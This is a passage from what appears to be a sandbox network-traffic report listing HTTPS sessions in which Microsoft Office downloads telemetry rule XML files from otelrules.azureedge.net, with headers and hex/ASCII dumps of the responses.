DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-15b8d89586fpccrmgpemqdqe5800000001k000000000573m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-16849878b78qf2gleqhwczd21s00000006vg000000009zym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 2264d41c-e01e-000c-05b3-278e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-17c5cb586f67hfgj2durhqcxk800000005mg0000000020yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 00d80357-401e-0048-04c7-270409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-15b8d89586fcvr6p5956n5d0rc0000000csg000000001c2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 43145320-301e-0051-1073-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-r197bdfb6b48v72xb403uy6hns000000079g000000004gvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:34 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: f782205e-901e-0048-34e1-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142734Z-r197bdfb6b4c8q4qvwwy2byzsw00000006y00000000060mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:35 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142735Z-16849878b786lft2mu9uftf3y400000007y00000000086ns x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:35 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:35 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142735Z-17c5cb586f6sqz6fff89etrx0800000006b0000000007yum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:35 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:35 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142735Z-17c5cb586f626sn8grcgm1gf80000000051000000000ddrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:35 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:35 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 050769f5-001e-0082-1f98-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142735Z-r197bdfb6b42rt68rzg9338g1g00000007s000000000ce86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:35 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:35 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142735Z-16849878b78smng4k6nq15r6s4000000088g0000000015wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:35 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:36 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
